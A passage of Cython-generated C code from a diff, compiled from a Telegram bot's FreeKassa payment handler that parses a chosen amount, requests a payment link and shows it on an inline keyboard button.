__pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 127, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_13generator3, __pyx_codeobj__9, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_13generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + int __pyx_t_12; + Py_ssize_t __pyx_t_13; + Py_UCS4 __pyx_t_14; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L12_resume_from_await; + case 2: goto __pyx_L13_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 127, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":131 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * amount_str = data[1] + * try: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":132 + * ): + * data = callback_query.data.split("|", 1) + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_3, &__pyx_t_4, &__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":134 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * await callback_query.message.answer(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":135 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_6 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_6) { + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_7) < 0) __PYX_ERR(0, 135, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_7); + + /* "handlers/payments/freekassa_pay.py":136 + * amount = int(amount_str) + * except ValueError: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_kp_u__11}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 136, __pyx_L6_except_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_4; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_4 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_4); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 136, __pyx_L6_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 136, __pyx_L6_except_error) + } + } + + /* "handlers/payments/freekassa_pay.py":137 + * except ValueError: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * user_email = f"{callback_query.message.chat.id}@solo.net" + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L7_except_return; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/freekassa_pay.py":133 + * data = callback_query.data.split("|", 1) + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5); + goto __pyx_L1_error; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_4, __pyx_t_5); + goto __pyx_L0; + __pyx_L9_try_end:; + } + + /* "handlers/payments/freekassa_pay.py":139 + * return + * + * user_email = f"{callback_query.message.chat.id}@solo.net" # <<<<<<<<<<<<<< + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_7, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_2, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_user_email = ((PyObject*)__pyx_t_7); + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":140 + * + * user_email = f"{callback_query.message.chat.id}@solo.net" + * user_ip = callback_query.message.chat.id # <<<<<<<<<<<<<< + * payment_url = await create_payment( + * callback_query.message.chat.id, amount, user_email, user_ip + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_user_ip = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":141 + * user_email = f"{callback_query.message.chat.id}@solo.net" + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( # <<<<<<<<<<<<<< + * callback_query.message.chat.id, amount, user_email, user_ip + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_create_payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/freekassa_pay.py":142 + * user_ip = callback_query.message.chat.id + * payment_url = await create_payment( + * callback_query.message.chat.id, amount, user_email, user_ip # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_8, __pyx_t_1, __pyx_cur_scope->__pyx_v_amount, __pyx_cur_scope->__pyx_v_user_email, __pyx_cur_scope->__pyx_v_user_ip}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 4+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_7); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_7 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_7); + } else { + __pyx_t_7 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_7) < 0) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + } + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":145 + * ) + * + * if payment_url: # <<<<<<<<<<<<<< + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + */ + __pyx_t_12 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_url); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 145, __pyx_L1_error) + if (__pyx_t_12) { + + /* "handlers/payments/freekassa_pay.py":146 + * + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [ + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/freekassa_pay.py":147 + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [ + * InlineKeyboardButton( + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/freekassa_pay.py":149 + * inline_keyboard=[ + * [ + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f" {amount} ", url=payment_url + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/freekassa_pay.py":150 + * [ + * InlineKeyboardButton( + * text=f" {amount} ", url=payment_url # <<<<<<<<<<<<<< + * ) + * ], + */ + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 9; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__12); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 7; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__13); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":149 + * inline_keyboard=[ + * [ + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f" {amount} ", url=payment_url + * ) + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/freekassa_pay.py":148 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [ # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=f" {amount} ", url=payment_url + */ + __pyx_t_8 = PyList_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_8, 0, __pyx_t_9)) __PYX_ERR(0, 148, __pyx_L1_error); + __pyx_t_9 = 0; + + /* "handlers/payments/freekassa_pay.py":153 + * ) + * ], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_10)) __PYX_ERR(0, 153, __pyx_L1_error); + __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":147 + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [ + * InlineKeyboardButton( + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_8); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_8)) __PYX_ERR(0, 147, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error); + __pyx_t_8 = 0; + __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":146 + * + * if payment_url: + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [ + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":158 + * + * await callback_query.message.answer( + * f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 21; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_10, 0, 